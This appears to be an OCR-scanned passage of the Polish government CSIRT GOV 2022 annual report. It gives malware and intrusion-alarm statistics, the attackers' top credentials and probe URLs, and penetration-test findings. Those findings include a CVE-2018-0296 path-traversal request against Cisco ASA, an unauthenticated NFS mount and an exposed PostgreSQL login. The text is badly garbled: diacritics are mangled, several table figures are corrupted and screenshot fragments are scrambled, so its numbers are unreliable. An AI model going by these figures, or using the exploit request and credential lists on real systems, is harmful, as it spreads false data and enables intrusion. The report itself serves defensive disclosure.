Zagrozenie sklasyfikowane jako Hidden Macro 4.0 (XLM 4.0)' dotyczyto przede wszystkim
arkuszy kalkulacyjnych zapisanych w formatach XLS, XLSX, ktdre zawieraty makra VBA, ztozo-
ne z rozproszonych funkcji scalajgcych zawartos¢ makra poprzez taczenie znakdéw znajdujacych
sie w roznych komdrkach dokumentu. Arkusz zawierajacy zapisane makro najczesciej byt ukryty,
a uruchomienie pliku z wtgczong obstugg makr w wigkszosci analizowanych przypadkow powo-
dowato pobranie z zewnetrznych serwerdw wtasciwego kodu ztosliwego, a nastepnie jego urucho-
mienie.

Formbook nalezy do rodziny oprogramowania ztosliwego posiadajacej funkcjonalnosci
umozliwiajgce przechwytywanie informacji o sekwencji klawiszy naciskanych na klawiaturze
przez uzytkownika (w tym m.in. wprowadzanych loginow oraz haset), zapisywanie zrzutow ekranu,
ekstrakcje zapisanych haset z przegladarek internetowych oraz pobieranie i uruchamianie innych
plikdw z zewnetrznych zasobdw internetowych.

"Makro XLM 4.0 (Excel 4.0 Macro) zostato wprowadzone w 1992 roku do automatyzacji powtarzalnych zadan w pro-
gramie Excel 4.0, stanowiace poprzednik makr Visual Basic for Applications (VBA). Z uwagi na wsparcie starego typu
makr XLM w oprogramowaniu Excel, mechanizm ten, wykorzystywany byt do dostarczania oprogramowania zto$liwe-
go w arkuszu kalkulacyjnym.



Klasyfikacja oprogramowania, bazujgca na analizie behawioralnej, wykazata nastepujacy
podziat najczestszych zachowan analizowanych plikow lub zasobdw internetowych:

Lp. WYKRYTE ZACHOWANIE LICZBA WYSTAPIEN

1 Evader 219
2 Phishing m
3 Spreader, Evader 57
4 Trojan, Evader b4
5 Trojan, Spyware, Evader 52
) Exploiter 39
7 Trojan 33
8 Exploiter, Evader 30
9 Spyware, Evader 16
10 Trojan, Exploiter, Evader 11

Tabela 1. Zachowania analizowanych plikow/zasobdw internetowych

Zgodnie z powyzszg tabela, analizowane probki wykazywaty nastepujace cechy:

= Evader - proba ominiecia zabezpieczen systemu operacyjnego; wykorzystanie funk-
cji anty-debbugera; wykorzystanie zaciemnienia (obfuskacji) kodu;

= Spreading - rozprzestrzenianie sie oprogramowania ztosliwego z wykorzystaniem
roznych mediow (pamieci USB, zasoby sieciowe);

= Phishing - wykrycie podstepnego naktaniania uzytkownika do wykonania okreslone-
go dziatania; udostepnienia poufnych informacji tj. hasta dostepowego, dane logowania
oraz dane kart ptatniczych;

= Trojan/Bot - identyfikacja zmiany stacji roboczej w klienta sieci botnet; umozliwienie
zdalnego dostepu do stacji roboczej (RAT);

= Spyware - identyfikacja kradziezy danych wrazliwych tj. dane z przegladarek inter-
netowych; dane logowania;

= Exploiter - identyfikacja wykorzystania podatnosci w oprogramowaniu lub systemie
operacyjnym.



W ponizszej tabeli przedstawiono 20 najczesciej identyfikowanych regut dla analiz prze-
prowadzonych w Srodowisku sandbox, ktdre wptynety na konicowa ocene badanego pliku lub za-
sobu internetowego.

WYKRYTA REGULA LICZBA IDENTYFIKACJI

Identyfikacja zaszyfrowanych danych
: 586
w dokumencie {ochrona hastem)
Rozpoznanie pliku przez silniki antywirusowe 361
Rezpoznanie domeny, adresu URL

o . 283
przez silniki antywirusowe
Rozpaznanie oprogramowania ztasliwego 139
na podstawie regut YARA community
Prdba detekeji narzedzi do analizy dynamicznej 137
oraz systemow typu sandbox
Modyfikacja kantekstu watku 10
w innym procesie ({threadinjection)
Identyfikacja ztosliwego pliku 81

wypakowanego przez proces nadrzedny
Wstrzykniecie pliku PE do obeych proceséw 78
Proba kradziezy danych wrazliwych 74
z przegladarki (historia, hasta, ciasteczka)
Wykrycie podejrzanych ciggow znakow
przekazywanych do wiersza polecen (na podstawie 69
regut Sigma}

Tabela 2. Najczesciej identyfikowane reguty




Ponizej przedstawiono statystyczne ujecie 10 najczesciej wystepujacych typow plikow,
sposrad poddanych analizie w 2022 roku w systemach automatycznych.

TYP PLIKU LICZBA WYSTAPIEN
1 Adobe Portable Document Format 5860
2 Generic OLE2 / Multistream Compound File 617
3 Word Microsoft Office Open XML Format 611
document
4 Microsoft Word document 535
5 Excel Microsoft Office Open XML Format 196
docurment
6 Win32 Executable 151
7 ZIP compressedarchive 127
8 RichText Format 12
9 Generic XML 82
10 Microsoft Excel sheet 78

Tabela 3. Najczesciej wystepujace typy plikow

Najwieksza liczbe plikow poddanych analizie w systemach automatycznych stanowity pliki
w formacie PDF, kontenery OLE2, dokumenty biurowe (w tym zawierajgce makra, funkcje DDE),
aplikacje Win32, archiwa ZIP/7-Zip/GZ, pliki HTML oraz ISO/IMG.

Poréwnujac rok 2022 z rokiem poprzednim, ponownie najwieksza liczbe probek opro-
gramowania ztosliwego zidentyfikowano jako Agent Tesla. Wzrosta rowniez ilos¢ zagrozen typu
HTMLPhisher oraz Hidden Macro 4.0. Jednoczesnie spadta liczba odnotowanych przypadkow dys-
trybucji oprogramowania Snake Keylogger oraz GuLoader.






5.1. ARAKIS GOV - statystyka

System ARAKIS GOV to dedykowany, rozproszony system wczesnego ostrzegania o zagro-
zeniach teleinformatycznych wystepujacych na styku sieci wewnetrznej z siecig Internet. Gtow-
nym zadaniem systemu jest wykrywanie i zautomatyzowane opisywanie zagrozen wystepujacych
w sieciach teleinformatycznych na podstawie agregacji, analizy i korelacji danych z roznych zro-
det.

W 2022 roku w sieciach teleinformatycznych podmiotdw uczestniczacych w projekcie
ARAKIS GOV zanotowano tacznie 2 193 855 851 przeptywow, co przetozyto sie na 3 532 771 wyge-
nerowanych przez system alarmow. Wsrdd zanotowanych alarmow:

= 668 551 alarmow miato priorytet pilny, tzn. wymagato natychmiastowej reakcji na
zagrozenie ze strony administratorow, niosto duze ryzyko przetamania zabezpieczen;

= 13 404 alarmow miato priorytet wysoki, tzn. wymagato wzmozonej uwagi w kontek-
$cie zagrozenia wskazanego w alarmie, niosto srednie ryzyko przetamania zabezpie-
czen;

= 52 681 alarmdw miato priorytet Sredni, tzn. byty to alarmy informujace o dobrze zna-
nym zagrozeniu, ktore niosty mate ryzyko przetamania zabezpieczen;

= 2798 135 alarmdw miato priorytet niski, tzn. byty to alarmy czysto informacyjne dot.
aktualnej sytuacji na styku sieci wewnetrznej z siecig Internet.

Pilny, 19%
Wysoki, 0%
Sredni, 2%
/‘
Niski, 79%

Wykres 10. Procentowy rozktad alarméw systemu ARAKIS GOV ze wzgledu na priorytet



Kazdy z zanotowanych alarmow posiada doktadne dane techniczne, pozwalajgce na jego
weryfikacje oraz jest szczegdtowo klasyfikowany przez system. W ramach klasyfikacji kazdy
alarm moze zostac przypisany do jednego z pieciu podstawowych typow:

= Typ 1- komunikacja do ztosliwych adresow,
= Typ 2 - skanowania;

Typ 3 - wykryte znane ataki;

Typ 4 - wykryte nieopisane ataki;

Typ 5 - infekcje wewnegtrzne.

79,20%

18,15%

0,62% 1,40% 0,64%

Typ 1 Typ 2 Typ 3 Typ 4 Typ 5

Wykres 11. Procentowy podziat alarméw systemu ARAKIS GOV ze wzgledu na typ

W 2022 roku alarmy Systemu ARAKIS GOV Typu 1 stanowity 18,15% wszystkich alarmaow.
Wygenerowane alarmy wynikaty z prob nawigzywania komunikacji z adresami IP lub domenami
uznanymi za zto$liwe lub mogacymi stanowic zagrozenie.

Wsrod alarmow Typu 2 w 2022 roku najwiecej przeptywow zostato zanotowanych w insty-
tucjach skategoryzowanych jako Urzedy (30,31%), co wynika po czesci z iloSci elementow systemu
ARAKIS GOV rozlokowanych w poszczegdlnych instytucjach.




Pozostate . 2,85%

Instytuty 10,29%

Ministerstwa 14,24%

Stuzby 15,05%

Infrastruktura krytyczna 27,25%

Urzedy 30,31%

Wykres 12. Procentowy podziat przeptywow alarmow typu 2 w instytucjach

Alarmy Typu 3 i 4 stanowity odpowiednio 0,62 % oraz 1,40 % ze wszystkich przeptywow, co
wprost wynika z wygenerowania sygnatury IDS w oparciu o obserwowane komunikacje lub dopa-
sowania do sygnatury IDS niewidzianej w systemie od pewnego czasu. Ma to miejsce zarowno przy
wygenerowaniu nowej sygnatury IDS, jak i przy aktualizacji uprzednio wygenerowanej sygnatury.

Alarmy Typu 5 s3 to infekcje wewnetrzne identyfikowane na podstawie niepozadanej ko-
munikacji z elementami sieci objetymi systemem ARAKIS GOV.

Do najbardziej aktywnych krajow pod katem liczby generowanych przeptywow w 2022
roku nalezaty USA (28% przeptywow) oraz Rosja (18% przeptywow).

Warto tez zaznaczyc, iz liczba przeptywdw z poszczegolnych krajow nalezacych do
grupy TOP 10 stanowi 70% wszystkich wygenerowanych przeptywdw zanotowanych przez Sys-
tem ARAKIS GOV w 2022 roku co stanowi spadek o 6% wzgledem roku 2021.
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Wykres 13. Rozktad zrodet atakdw na sieci monitorowane przez system ARAKIS GOV pod katem
liczby generowanych przeptywdw




5.2. ARAKIS GOV - charakterystyka wybranych zagrozen

Biorgc pod uwage specyfike sieci Internet (tzw. brak granic), infrastruktura teleinforma-
tyczna podmiotow generujacych przeptywy w strone systemu ARAKIS GOV moze byc rozproszona
oraz zlokalizowana na terytorium dowolnych panstw na catym $wiecie. W zwigzku z powyzszym
zaprezentowana statystyka odzwierciedla lokalizacje ztosliwej infrastruktury sieciowej w po-
szczegolnych krajach.

W tabeli ponizej zaprezentowano informacje o portach docelowych, na ktdre wygenerowa-
no najwieksza liczbe przeptywdw celem identyfikacji istniejgcych zasobow teleinformatycznych
badz proby ich eksploitacii.

DOCELOWY LICZBA
PORT/PROTOKOL PRZEPLYWOW

1 0 1054 696 725  ICMP Echo Reply
2 23 56 824 605 Telnet
3 22 40 835 865 SSH
4 445 34 838 805 SMB
5 80 18 363 869 HTTP
& 6379 12 248 942 Redis
7 443 9 486 280 HTTPS
8 1900 g 823 857 SSDP
9 81 7789 971 HTTP
10 5060 7548938 S|P

Tabela 4. Zidentyfikowane w 2022 roku skanowania i proby eksploitacji ustug na podstawie da-
nych z systemu ARAKIS GOV

W roku 2022 najczesciej wykorzystywanym elementem rekonesansu byt protokét ICMP,
gdzie odnotowano ponad dwukrotny wzrost rok po roku. Warto odnotowac wyrazny spadek zain-
teresowania ustuga FTP, ktdra w roku 2022 spadta poza dziesigta pozycje (134 mln przeptywow
w 2021r.) oraz wzrost zainteresowania ustuga SMB.



LICZBA

L.p. PRZEPEYWOW REGULA SNORT

1 6385146 ET SCAN Suspicious inbound to MSSQL port 1433 /_
2 5489178 ET SCAN Potential SSH Scan OUTBOUND

3 2823208 ET SCAN Sipvicious User-Agent Detected (friendly-scanner)

4 1757935 ET SCAN Sipvicious Scan

5 1744129 ET SCAN Suspicious inbound to mySQL port 3306

6 1427642 ET SCAN Suspicious inbound to PostgreSQL port 5432

7 1010062 ET SCAN S5H BruteForce Tool with fake PUTTY version

8 605914 ET SCAN Suspicious inbound to Oracle SQL port 1521

9 200549 ET INFO Session Traversal Utilities for NAT (STUN Binding

Reguest)
10 149159 ET INFO Session Traversal Utilities for NAT (STUN Binding Request

On Non-Standard High Port)

Tabela 5. NajczesSciej dopasowane reguty do ruchu sieciowego widzianego przez system
ARAKIS GOV




W 2022 roku zidentyfikowano 6 385 146 regut SNORT dopasowanych do obserwowanego
ruchu sieciowego zwigzanego z portem 1433. Jest to znaczacy spadek wzgledem roku 2021. W po-
zostatych odnotowanych dopasowaniach nie zaobserwowano znaczacych zmian zainteresowania
wzgledem 2021r.

Ponizej przedstawiono 20 najpopularniejszych nazw uzytkownika oraz haset stosowa-

nych do prob nieautoryzowanego tgczenia sie do ustug w sieciach teleinformatycznych podmiotow
uczestniczacych w projekcie ARAKIS GOV.

Lp.  TOP 20 LOGINGW TOP 20 HASEL

1 root 123456
2 admin admin
3 user 123

4 test 1

5 ubuntu passwaoard
6 oracle 1234

7 postgres test

8 ftpuser 12345678
2 git 12345
10 guest root

1 mysqgl 123456789
12 WWW P@ssw0rd
13 testuser qwerty
14 ftp abel23
15 support mm

16 debian lgaz2wsx
17 deploy 123123
18 hadoop test123
19 web adminl23
20 administrater p@sswird

Tabela 6. Top 20 loginow i haset wykorzystywanych w potaczeniach do ustug ARAKIS GOV



Ponizej przedstawiono 20 najpopularniejszych URL wykorzystywanych najczesciej przy
rozpoznaniu ustug http/s w sieciach teleinformatycznych podmiotow uczestniczacych w projekcie
ARAKIS GOV.

[env

fegi-bin/ViewlLog.asp

/boaform/admin/farmLogin

/robots.txt

/.aws/credentials

/.aws/config

Jaws/feredentials
[fremote/fat_lang?lang=/.././....0 111/ {/dev/cmdb/sslvpn_websession
/credentials

JHNAP1/

Jtest.php

/phpinfo

[laravel/.env

/demo/.env

Jfweb/.env
/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application
Jactuatar/health

Jowa/auth/logon.aspx

fab2g

Jowa/auth/x.js

Tabela 7. 20 najpopularniejszych URL wykorzystywanych najczesciej przy
rozpoznaniu ustug http/s







6.1. Ocena bezpieczenstwa - podsumowanie

W 2022 roku Zespot Reagowania na Incydenty Bezpieczenstwa Komputerowego CSIRT GOV
na mocy art. 32a Ustawy z dnia 24 maja 2002 r. o Agencji Bezpieczenstwa Wewnetrznego oraz
Agencji Wywiadu oraz Rozporzadzenia Prezesa Rady Ministrow z dnia 19 lipca 2016 r. w sprawie
przeprowadzania oceny bezpieczenstwa zwigzanej z zapobieganiem zdarzeniom o charakterze
terrorystycznym, dokonat oceny bezpieczenstwa systemow teleinformatycznych instytucji admi-
nistracji rzagdowej oraz infrastruktury krytyczne;.

Zgodnie z Decyzjg nr 84 Szefa Agencji Bezpieczenstwa Wewnetrznego z dnia 29 wrzesnia
2021 r. w sprawie przeprowadzania przez Agencje Bezpieczenstwa Wewnetrznego ocen bezpie-
czenstwa systemow teleinformatycznych na 2022 r., Zespot CSIRT GOV przeprowadzit przedmio-
towe czynnosci w szesnastu instytucjach administracji rzadowej oraz infrastruktury krytycznej,
w ktorych przebadat 126 segmentow sieci / systemdw teleinformatycznych oraz 61 domen / sub-
domen oraz stron WWW.

W ramach przeprowadzonych ocen bezpieczenstwa Zespét CSIRT GOV przeprowadzit sze-
reg testow majacych na celu identyfikacje istotnych podatnosci wptywajacych na bezpieczenstwo
infrastruktur teleinformatycznych w/w instytuciji. Do rzeczonych testéw nalezato pasywne, potpa-
sywne oraz aktywne zbieranie informacji, identyfikacja podatnosci architektury systemow i ustug
sieciowych, wykorzystanie podatnosci oraz analiza wptywu wykorzystania czynnikow inzynierii
spotecznej.

W wyniku przeprowadzonych ocen bezpieczenstwa Zespé6t CSIRT GOV dokonat identyfi-
kacji szeregu podatnosci od stopnia niskiego, az do btedow nalezacych do kategorii krytycznych.
Ponizszy wykres przedstawia zestawienie zidentyfikowanych podatnosci, ktdre zostaty opisane
w przygotowanych raportach z przeprowadzonych ocen bezpieczenstwa i przestane do instytucji,
ktorych systemy podlegaty ocenie.



Niskie, 8%

Krytyczne, 9%

Wysokie, 13%

Srednie, 70%

W ramach prowadzonych ocen bezpieczenstwa architektury sieciowo-serwerowej Zespot
CSIRT GOV zidentyfikowat nastepujace podatnosci okreslone jako zagrozenia krytyczne oraz wy-
sokie.

Niezaktualizowane i niewspierane wersje oprogramowania:

a) Microsoft Windows Serwer 2008 R2
b) Microsoft Exchange Server

c) Manager Engine Desktop Central
d) EMC Data Protection Advisor

e) VMWare ESX/ESXi

f)  VMWare vCenter Server
g) VMWare Horizon

h) Server Apache

i)  Server Tomcat

j)  Server JBOSS

k) GlassFish Server

)  Nginx

m) PHP

n) biblioteka jQuery

0) phpMyAdmin




Niewspierane wersje oprogramowania:

a) Microsoft Windows Server 2003
b) Microsoft SQL Server
c) Microsoft Internet Information Services (IIS)
d) Microsoft Windows 2000
e) Red Hat Enterprise Linux Server
f)  Microsoft Data Transaction Coordinator
g) Oracle Database
h) OpenSSL
Ustugi / protokoty podatne na ataki:
a) Simple Mail Transfer Protocol (SMTP)
b) Network Time Protocol (NTP)
c) Internet Information Service (IIS)
d) Inteligent Platform Management Interface (IPMI)
e) Network Level Authentication (NLA)
f)  Simple Network Management Protocol (SNMP)
g) Microsoft Server Message Block 1.0 (SMBv1)
h) Secure Shell (SSH)
i) Null Session
j)  Advance Message Queuing Protocol (AMQP)
k) Virtual Network Computing (VNC)
l) Remote Desktop Protocol (RDP)
m) Domain Name Server (DNS)

Dostep anonimowy, bez wymaganego uwierzytelnienia lub

na postawie domysinych haset:

Serwer WS02
Serwer SMTP
Serwer FTP

Serwer Serwer Redis



e) Apache Solr
f) Intelligent Platform Managment Interface (IPMI v2.0)

6.2. Ocena bezpieczenstwa - przyktadowe wykryte podatnosci

1. Poprzez btedy w konfiguracji ustugi NFS istniata mozliwo$¢ zamontowania bez autoryzacji
udziatow, a nastepnie tworzenie, usuwanie i modyfikowanie danych na tych zasobach.

/mnt
nfs 10.11.0.18:/data/coll/shrimp_dump /mnt/nfs

/mnt

/mnt/nfs

razem 15

drwxXrwxrwx root root 207
drwxr-xr-x root root 4096
drwxr-xr-x : 500 500 9605
drwxr X 2 500 500 101
drwxrwxrw root root 293

/mnt/nfs

shrimp202103021600.

shrimp202103021600.
shrimp202103030100.

shrimp202103030100.
shrimp202103031600.

shrimp202103031600.
shrimp202103040100.

shrimp202103040100.
shrimp202103041600.

shrimp202103041600.
shrimp202103050101.

shrimp202103050101.
shrimp202103051600.

shrimp202103051600.
shrimp202103060100.

shrimp202103060100.




Time Zone Jl
System Information

Vendor: Avamar

Appliance Name: Avamar Virtual Machine Combined Proxy
Appliance Version: 19.4.100-116

Hosame:

OS Name:

3. Wykorzystanie podatnosci opisanej jako CVE-2018-0296 t;.
wym interfejsie platformy bezpieczenstwa - Cisco ASA.

Logon

Home | Help | Logout user root

ominiecie uwierzytelnienia w webo-

Group SAP v
Username | ]
Password |

I Logon




m"l

Request
Raw Hex
1 GET /+CSCOU+/../+CSCOE+/files/file list,json HTTR/1.1]
2 Host:
3 Cookie: webwpnlogin=1; webvpnLang=en
4 Sec-Ch-Ua: "Chromium";v="103", ", Not/A)Brand";v="99"
5 Sec-Ch-Ua-Mobile: 70
 Sec-Ch-Ua-Platform: "Linux"

7 Upgrade-Insecure-Requests: 1
2 User-Agent: Mozilla/S5.0 (Windows NT 10.0; Win64: x64) AppleWebKit/S537.36

. (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
S Accept:

text/html,application/xhtml+xml,application/xml;g=0.9, image/avif, image/webp,i

mage/apng,*/*;q=0.8,application/signed-exchange;v=b3;0=0.9
1 Sec-Fetch-Site: none
1 Sec-Fetch-Mode: navigate
2 Sec-Fetch-User: 71
3 Sec-Fetch-Dest: document
4 Accept-Encoding: gzip, deflate
5 Accept-Language: pl-PL,pl;:g=0.9,en-US;q=0.8,en;iq=0.7
5 Connection: close

4. Przetamanie stabych haset umozliwito dostep do danych tj. nazwa instytucji, e-mail, nr telefonu

Response

Pretty Raw Hex Render

1 HTTP/1.1 200 OK
2 Set-Cookie: text/plain

3 Content-Type: text/html; charset=UTF-8
4 Cache-Control: no-cache

5 Pragma: no-cache

6 Connection: Keep-Alive

7 Date: Thu, 10 Nov 2022 10:56:20 GMT

B X-Frame-Options: SAMEORIGIN

9 Content-Length: 2781

I
Al
3 {'name’:'plugins:protocol2port’,'size':0, 'type':'0', ‘ndate’ 1625653597}
.{'name’:'plugin', 'size':0, 'type':'1", 'mdate’:1625653596}
‘name’:'locale’', 'size':0, 'type':'1l’, 'mdate’:1625653595}
'+CSCOT+', 'size':0, 'type':'1l', 'mdate’':1625653594}

‘name’:
, 'mdate’ :1625653584}

+{'name':'+CSCOCA+", 'size’ :0, 'type’
‘name’!'+CSCOL+', 'size':0, 'type': , ‘mdate’:1625653593}
‘name’: ‘admin’', 'size':0, "type':'l’, 'mdate’:1625653593}
‘name’ ! 'bookmarks', 'size’:0, 'type':'1l’, ‘mdate’ 1625653593}
'name’''customization', 'size':0, 'type':'l’, 'mdate’ 1625653593}
‘name’:'+CSCOU+', 'size':0, 'type':'l’', 'ndate’:1625653593}

;{'name’:'+CSCOE+', 'size':0, "type':'l", 'mdate’:1625653593}

4 ,{'name':'sessions','size':0, 'type':'l’, ‘mdate’ :1625653593}

komdrkowego itp. przetwarzanych w bazach MSSQL oraz PostgreSQL.

psql -h 10.1.1.76 -d postgres -U postgres

Password for user postgres:
psql (14.3 (Debian 14.3-1), server 8.4.20)

Type "help" for help.
postgres=# \1

Owner Encoding |

ankieta postgres

bazy resortu | bazar | pl

opencms opencms pl

postgres pl

postgres
postgres pl

template®
templatel postgres pl

(6 rows)

postgres=# |]

pl PL.UTF-8

L of databases
Collate |

Access privileges

=Tc/postgres
postgres=CTc/postgres+
ankieter=CTc/postgres
=Tc/bazar +
bazar=CTc/bazar
=Tc/opencms
opencms=CTc/opencms

PL.UTF-8

PL.UTF-8
PL.UTF-8

PL.UTF-8
PL.UTF-8 =c/postgres +
postgres=CTc/postgres
=c/postgres -
postgres=CTc/postgres

PL.UTF-8

Layndmoh

&

L O




5. Produkcyjna aplikacja WWW udostepniona w sieci Internet oparta byta o silnik JBOSS
5.1.0.GA, ktorego wsparcie zakonczyto sie¢ w 2016 roku. Przedmiotowa wersja posiadta m.in. po-
datnos¢ CVE-2012-0874. Do eksploitacji wykorzystano publicznie dostgpne narzedzie o na-
zwie JexBoss (https://github.com/joaomatos/jexboss), ktore szczegGtowo zostato opisa-
ne przez Cybersecurity & Infrastructure Security Agency Standw Zjednoczonych na stronie
https://cisa.gov/uscert/ncas/analysis-reports/AR18-312A. Ponizej zrzuty ekranu z udanego pro-
cesu eksploitacji podczas prowadzonej oceny bezpieczenstwa.

kali@kali: ~/tools/jexboss

File Actions Edit View Help

simple command shell to execute




kali@kali: ~/tools/jexboss

File Actions Edit View Help

Po uzyskaniu uprawnien uzytkownika ,jboss” okazato sie, ze system operacyj-
ny Red Hat Enterprise Linux Serwer v7.5 posiada podatnos¢ CVE-2021-4034 (7,8 punk-
tow w skali CVSS), ktora pozwala na eskalacje uprawnien na serwerze. Podatno$¢ ozna-
czona przez Red Hat jako RHSB-2022-001 Polkit Privilage Escalation zostata opisana na
stronie producenta - https://access.redhat.com/security/vulnerabilities/RHSB-2022-001. Do-
datkowo na wskazanej stronie zostat zatgczony oficjalny skrypt producenta, ktéry umoz-
liwia weryfikacje czy wykorzystywana wersja systemu zawiera wymieniong podatno$c¢
(https://access.redhat.com/sites/default/files/cve-2021-4034-2022-01-25-0936.sh). Przedstawio-
ne narzedzie uruchomione na maszynie poddawanej Ocenie Bezpieczenstwa potwierdzito jej wy-
stepowanie.




6. Cookie Reuse.

Badana aplikacja, po wylogowaniu uzytkownika ustawiata ciasteczka sesyjne (pliki cookie), ktdre
nastepnie wykorzystywata w niezmienionej formie po kolejnym, poprawnym zalogowaniu. Mogto
to doprowadzi¢ do przejecia konta uzytkownika. Jezeli atakujgcy uzytby komputera oraz prze-
gladarki innego uzytkownika, logujac sie na wtasne konto w aplikacji, nastepnie wylogowujac sie
z niej, mogtby zapisac, np. do pliku na zewnetrznej pamiegci USB, ustawione przez przegladarke
ciasteczka. Przegladarka uzytkownika - ofiary po ponownym zalogowaniu, uzywata doktadnie tych
samych plikdw cookie, co zapisane wczesniej przez napastnika. Atakujacy mogt ustawi¢ w swo-
jej przegladarce zapisane wczesniej ciasteczka, przejmujac sesje ofiary, a tym samym jej konto.
Warunkiem skutecznego ataku byt dostep do komputera oraz przegladarki ofiary lub pozyskanie
samych plikow Cookie.

7. Ujawnienie kodu aplikacji wraz z konfiguracja.

Pod adresem https://[domena]/transfer.tar.gz dostepne byto archiwum, w ktorym znajdowat sig
caty kod aplikacji oraz pliki konfiguracyjne wraz z hastami dostepowymi do bazy danych. Pobranie
archiwum nie wymagato jakiekolwiek uwierzytelniania. Oprdcz kodu aplikacji i plikow konfigu-
racyjnych, w archiwum mozna byto odnalez¢ folder ,userfiles”, a w nim podfoldery z nazwami



podmiotdw, instytucji oraz gmin. W folderach tych mozna byto odnalez¢ zaszyfrowane pliki PGP,
ale rowniez czytelne pliki xml dotyczace pewnych transakcji finansowych.

Ponizej zawarto$¢ pliku config.inc.php z ujawnionym hastem do bazy danych mysqL.

<?php

# ByteHoard2 Configuration file

# Generated at Friday 15th of July 2005 10:48:17 AM
# ByteHoard?2 is released under the GPL.

# http://www.bytehoard.org

Sdbconfig[,host] = ,.......";

Sdbconfig[,username’] = ,transfer”;
Sdbconfig[,password] = ,,.......
Sdbconfig[,db] = ,transfer”;
Sdbconfig[,prefix] = ,bh2_";
Sdbconfig[,dbmod’] = ,mysqL.inc.php”;
Sdbconfig[,type’] = ,mysql”;
date_default_timezone_set(,Europe/Warsaw’);
e




6.3. Ocena bezpieczenstwa - pozostate podatnosci

W przypadku podatnosci o mniejszej wadze (Srednie oraz niskie) do najczesciej identyfiko-
wanych przez Zespot CSIRT GOV mozna zaliczyc:

= Akceptowanie potgczen z wykorzystaniem szyfrowania SSL 2.0, 3.0, TLS 1.0;
= Wsparcie dla stabych algorytmow szyfrowania SSL (dtugosc klucza od 64 do 112 bit-
-6w);

= Wykorzystywanie algorytmow hashowania podatnych na kolizje tj. m.in. MD2, MD4,
MD5 lub SHAT;

= Podatnos¢ DROWN w SSLv2 - mozliwa deszyfracja przechwyconego ruchu TLS;

= Podatnos¢ POODLE w SSLv3 - mozliwe przeprowadzenie ataku typu Man-in-the-
-Middle;

= Podatnos¢ FREAK - mozliwo$¢ przeprowadzenia ataku typu Man-in-the-Middle;

= Stosowanie certyfikatow typu ,self-signed” - certyfikat X.509 serwerdw podpisany
przez nieznane centrum autoryzacyjne (CA);

= Internet Key Exchange (IKEv1) - stosowanie trybu AggressiveMode;

= Brak skonfigurowanego Network Level Authentication (NLA) dla serwerow RDP;
= Brak aktywnej reguty weryfikacji rekordu SPF,

= Wystepowanie tzw. ukrytych plikow .DS_Store;

= Brak ustawienia flag bezpieczenstwa plikow cookies (HttpOnly, Secure) w aplika-
cjach webowych.

Ponadto Zespot CSIRT GOV przeprowadzit réwniez analize zrddet otwartych w ramach
czynnosci typu OSINT. Czynnosci te pozwolity na okreslenie ilosci danych zawartych jako metadata
w dokumentach publikowanych w ramach publicznych serwerow WWW oraz portalach spoteczno-
$ciowych, na ktorych pracownicy posiadali konta.
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7.1. Gwiczenia LOCKED SHIELDS

W dniach 19-21 kwietnia 2022 roku odbyty sie ¢wiczenia pod kryptonimem ,Locked Shields
2022", do udziatu w ktdrych zostali zaproszeni takze przedstawiciele Zespotu CSIRT GOV.

Cwiczenia Locked Shields to najwieksze na $wiecie éwiczenia z zakresu cyberobrony, ktdre
organizowane sg cyklicznie przez NATO Cooperative Cyber Defence Centre of Excellence (CCDCOE).
W przedmiotowych ¢wiczeniach wziety udziat 24 zespoty Blue Team z rdéznych krajow. Byty one
odpowiedzialne za ochrone poszczegdlnych elementow stworzonego na potrzeby ¢wiczenia spe-
cjalnego $rodowiska wirtualnego. Srodowiska te byty celem réznorodnych atakéw realizowanych
W czasie rzeczywistym przez zespoty Red Team. Oprdcz zabezpieczenia ztozonych systemaw IT,
zespoty Blue Team musiaty réwniez skutecznie zgtaszac incydenty, podejmowac strategiczne de-
cyzje oraz rozwigzywac zadania z zakresu informatyki $ledczej, prawa oraz mediow.

Polski Zespot Blue Team wspéttworzyto ponad 100 osdb, w tym przedstawiciele zespotow
CSIRT poziomu krajowego, tj. m.in. Dowddztwa Komponentu Wojsk Obrony Cyberprzestrzeni oraz
CSIRT GOV, a takze eksperci z wiodacych instytucji finansowych, energetycznych, sektora prywat-
nego, czy uczelni wyzszych. Dodatkowo w sktad polskiego zespotu wchodzili rowniez eksperci
z Litwy. Sukcesem polskiego Zespotu Blue Team byto zajecie drugiego miejsca w ogdlnej klasyfi-
kacji.

7.2. NATO Cyber Coalition

W dniach 28.11-02.12.2022 roku zostaty przeprowadzone ¢wiczenia NATO Cyber Coalition,
w ktorych rowniez uczestniczyli przedstawiciele Zespotu CSIRT GOV. W ¢wiczeniach wzigto udziat
ponad 1000 uczestnikdw z 26 panstw cztonkowskich NATO oraz Finlandii, Szwecji, Gruzji, Irlandii,
Japonii i Szwajcarii. Konwencja ¢wiczen Cyber Coalition 2022 opierata sie na pracy na dedykowa-
nej platformie do wspotpracy i wymiany doswiadczen oraz opracowywania najlepszych praktyk
w ramach procesow wtasciwych dla zespotéw reagowania w zakresie procedur ,incident handling
and response”. Cwiczenia Cyber Coalition 2022 miaty na celu taczenie wspétpracy koalicji insty-
tucji NATO, sojusznikow oraz partnerdw, wzmacniajac sojusznicze zdolnosci do odstraszania oraz
wspdlnej obrony przed zagrozeniami w cyberprzestrzeni. Wspotpraca poszczegdlnych uczestni-
kow pozwala corocznie poszerza¢ wiedze z zakresu bezpieczenstwa teleinformatycznego oraz
wykorzystywania tzw. best practices w zakresie obstugi incydentow cyberbezpieczenstwa.

Cwiczenia Cyber Coalition nie podlegaty punktacji, natomiast ich gtéwnym celem byto re-
agowanie na incydenty i zagrozenia cyberbezpieczenstwa w ramach wspétpracy pomiedzy zespo-
tami reprezentujacymi panstwa cztonkowskie NATO oraz kraje partnerskie.



7.3. Realizacja zadan przez uczestnikow zgodnie z ustawa o kra-
jowym systemie cyberbezpieczenstwa

Publikacja Raportu Rocznego CSIRT GOV stanowi okazje do zwrdcenia uwagi na podstawo-
we obowigzki dotyczace realizacji zadan przez uczestnikow krajowego systemu cyberbezpieczen-
stwa, zwtaszcza w odniesieniu do obszaru nalezgcego, zgodnie z delegacjg ustawy o krajowym
systemie cyberbezpieczenstwa', do kompetencji Zespotu CSIRT GOV.

W przedmiotowym zakresie, jednym z istotnych procesdw, ktdre powinny zosta¢ zabez-
pieczone w ramach obstugi incydentdw podmiotow funkcjonujacych w obszarze krajowego syste-
mu cyberbezpieczenstwa jest utrzymywanie aktualnych punktow kontaktowych do przyjmowania
